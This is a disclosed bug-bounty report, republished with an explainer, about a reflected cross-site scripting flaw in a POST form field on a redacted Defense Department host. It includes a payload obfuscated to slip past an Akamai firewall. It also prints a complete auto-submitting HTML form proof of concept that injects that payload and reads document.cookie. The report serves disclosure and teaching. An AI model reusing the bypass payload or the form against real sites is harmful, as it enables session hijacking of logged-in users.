Skip to content
XSS Disclosed report Intermediate

Cross-Site Scripting (XSS) Vulnerability via POST Method + Akamai Firewall Bypass

A form field submitted via POST was reflected into the page without proper encoding, allowing an attacker to inject an anchor element with an event handler that runs script. The attacker could steal cookies and hijack sessions, and the payload was crafted to evade the Akamai firewall.

jonasdiasrebelo Follow

Originally disclosed on HackerOne

  • Triaged in 6 hours
  • Fixed in 20 days
  • Disclosed after 15 months

Hi! I discovered a Cross-Site Scripting (XSS) vulnerability on █████████, specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Payload to bypass Akamai Firewall: '"><A HRef=" AutoFocus OnFocus=top/**/?.'ale'%2B'rt'>

References

█████████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited:

Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post. If it asks to agree to consent, accept in the website and use the PoC again.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="██████" method="POST">
      <input type="hidden" name="EVENT&#95;CITY" value="San&#32;Francisco&apos;&quot;&gt;&lt;A&#32;HRef&#61;&#92;&quot;&#32;AutoFocus&#32;OnFocus&#61;top█████████;&#42;&#42;████;&#63;&#46;&#91;&apos;ale&apos;&#43;&apos;rt&apos;&#93;&#40;document&#43;cookie&#41;&gt;" />
      <input type="hidden" name="EVENT&#95;END&#95;DATE" value="████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;ALT&#95;PHONE" value="█████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;CITY" value="San&#32;Francisco" />
      <input type="hidden" name="EVENT&#95;POC&#95;EMAIL" value="testing&#64;example&#46;com" />
      <input type="hidden" name="EVENT&#95;POC&#95;FAX" value="317&#45;317&#45;3137" />
      <input type="hidden" name="EVENT&#95;POC&#95;FIRST&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;POC&#95;LAST&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;POC&#95;MI" value="1" />
      <input type="hidden" name="EVENT&#95;POC&#95;PRIM&#95;PHONE" value="████████" />
      <input type="hidden" name="EVENT&#95;POC&#95;ROOM" value="1" />
      <input type="hidden" name="EVENT&#95;POC&#95;STATE" value="AL" />
      <input type="hidden" name="EVENT&#95;POC&#95;STREET" value="█████████Street" />
      <input type="hidden" name="EVENT&#95;POC&#95;TITLE" value="Mr&#46;" />
      <input type="hidden" name="EVENT&#95;POC&#95;ZIP" value="94102" />
      <input type="hidden" name="EVENT&#95;ROOM" value="1" />
      <input type="hidden" name="EVENT&#95;SITE&#95;NAME" value="fnfOzvSR" />
      <input type="hidden" name="EVENT&#95;START&#95;DATE" value="████" />
      <input type="hidden" name="EVENT&#95;STATE" value="AL" />
      <input type="hidden" name="EVENT&#95;STREET" value="█████Street" />
      <input type="hidden" name="EVENT&#95;TITLE" value="Mr&#46;" />
      <input type="hidden" name="EVENT&#95;URL" value="http&#58;██████;████;www&#46;example&#46;com" />
      <input type="hidden" name="EVENT&#95;ZIP" value="94102" />
      <input type="hidden" name="EXPECTED&#95;ATTENDANCE" value="11███;2011" />
      <input type="hidden" name="FED&#95;GOVT&#95;BRANCH&#95;AGENCY" value="20" />
      <input type="hidden" name="SPONSOR&#95;ORG&#95;SVC&#95;BRANCH&#95;OID" value="1" />
      <input type="hidden" name="SPONSOR&#95;ORG&#95;TYPE" value="S&#45;DoD" />
      <input type="hidden" name="WIZARD&#95;CHECKBOXES" value="SPONSOR&#95;ORG&#95;TYPE" />
      <input type="hidden" name="button&#95;save&#95;and&#95;continue" value="Save&#32;&amp;&#32;Continue" />
      <input type="hidden" name="pageNumber" value="20" />
      <input type="hidden" name="priorPageNumber" value="20" />
      <input type="hidden" name="requestID" value="C6FAC0A7&#45;E6E4&#45;C637&#45;E3DAAE6E3C7A6F1F" />
      <input type="hidden" name="returnTab" value="10" />
      <input type="hidden" name="showOutreachType" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

The original report as published on HackerOne, by jonasdiasrebelo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application reflected a POST parameter into HTML output without context-appropriate encoding, and the firewall's filter was bypassed by using an anchor element with an event handler rather than a script tag.

Impact

An attacker could steal cookies and impersonate legitimate users, though the report does not show a full end-to-end exploitation beyond the payload executing.

What the attacker needed

Victim visits attacker page; victim is logged in; consent prompt may need accepting

How it was found

  1. Host a page containing an auto-submitting form that posts to the target endpoint.
  2. Include the crafted value in the event city field along with the other expected form fields.
  3. If a consent prompt appears, accept it and submit the proof of concept again.
  4. The injected markup may execute in the browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website takes what you type into a form and puts it back on the page without cleaning it, an attacker can type code instead of normal text. The browser then treats that code as part of the page and runs it, which lets the attacker act as the logged-in user. Here the attacker hid the code inside a link element so the site's firewall did not spot it.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jonasdiasrebelo

View all

27 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.